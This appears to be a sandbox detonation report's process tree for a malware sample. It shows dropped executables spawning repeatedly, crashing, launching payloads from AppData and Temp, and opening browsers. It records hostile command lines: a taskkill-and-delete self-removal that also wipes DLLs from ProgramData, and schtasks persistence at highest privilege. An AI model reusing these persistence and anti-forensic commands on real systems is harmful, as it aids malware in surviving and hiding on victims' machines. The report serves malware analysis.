C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11680 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
C:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exeC:\Users\Admin\Documents\dW7poS7HJg4t6Inwrxeeyn0h.exe3⤵
-
-
-
C:\Users\Admin\Documents\ylGydawUz5o7owv8U6FrIqLe.exe"C:\Users\Admin\Documents\ylGydawUz5o7owv8U6FrIqLe.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\DzDzXEbiLmSxIojLgPQGruAU.exe"C:\Users\Admin\Documents\DzDzXEbiLmSxIojLgPQGruAU.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 6603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 6643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 6803⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 6683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 9003⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 11363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 11283⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\Jzmg7CEQxE8Elr65HRy0H9Ff.exe"C:\Users\Admin\Documents\Jzmg7CEQxE8Elr65HRy0H9Ff.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 6563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 6603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 6763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 6523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 11603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 11203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 60 -s 11123⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\KZbJNJYricgxM5cLF0NBz5pW.exe"C:\Users\Admin\Documents\KZbJNJYricgxM5cLF0NBz5pW.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\6980562.exe"C:\Users\Admin\AppData\Roaming\6980562.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\8988860.exe"C:\Users\Admin\AppData\Roaming\8988860.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Roaming\1992475.exe"C:\Users\Admin\AppData\Roaming\1992475.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\4391373.exe"C:\Users\Admin\AppData\Roaming\4391373.exe"3⤵
-
-
C:\Users\Admin\AppData\Roaming\5839488.exe"C:\Users\Admin\AppData\Roaming\5839488.exe"3⤵
-
-
-
C:\Users\Admin\Documents\n5CFLFMxd4YSgVyxnUfe9og8.exe"C:\Users\Admin\Documents\n5CFLFMxd4YSgVyxnUfe9og8.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 7683⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 8243⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 8643⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 8403⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 8603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 10883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 11283⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 13523⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1129155057.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1129155057.exe"C:\Users\Admin\AppData\Local\Temp\1129155057.exe"4⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 17803⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\9207909728.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\9207909728.exe"C:\Users\Admin\AppData\Local\Temp\9207909728.exe"4⤵
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3916 -s 17883⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "n5CFLFMxd4YSgVyxnUfe9og8.exe" /f & erase "C:\Users\Admin\Documents\n5CFLFMxd4YSgVyxnUfe9og8.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "n5CFLFMxd4YSgVyxnUfe9og8.exe" /f4⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\CREOD9awTGWxnVac1ePdEPmp.exe"C:\Users\Admin\Documents\CREOD9awTGWxnVac1ePdEPmp.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im CREOD9awTGWxnVac1ePdEPmp.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\CREOD9awTGWxnVac1ePdEPmp.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im CREOD9awTGWxnVac1ePdEPmp.exe /f4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\UUbpnoMMEtmfCWGMAFEHndlv.exe"C:\Users\Admin\Documents\UUbpnoMMEtmfCWGMAFEHndlv.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Documents\ql3AdNmGwN4vO2JQXxguHOLH.exe"C:\Users\Admin\Documents\ql3AdNmGwN4vO2JQXxguHOLH.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Documents\fnQCWIsLhuxhIPt9HWG9Ciz6.exe"C:\Users\Admin\Documents\fnQCWIsLhuxhIPt9HWG9Ciz6.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\fnQCWIsLhuxhIPt9HWG9Ciz6.exe"C:\Users\Admin\Documents\fnQCWIsLhuxhIPt9HWG9Ciz6.exe" -u3⤵
-
-
-
C:\Users\Admin\Documents\SVLourxC8SSGAKpYM2dUgPoQ.exe"C:\Users\Admin\Documents\SVLourxC8SSGAKpYM2dUgPoQ.exe"2⤵
- Executes dropped EXE
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"3⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"4⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffa93354f50,0x7ffa93354f60,0x7ffa93354f704⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1544 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2128 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1816 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=988 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=768 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:14⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4600 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4700 /prefetch:84⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4420 /prefetch:24⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4948 /prefetch:84⤵
-
-
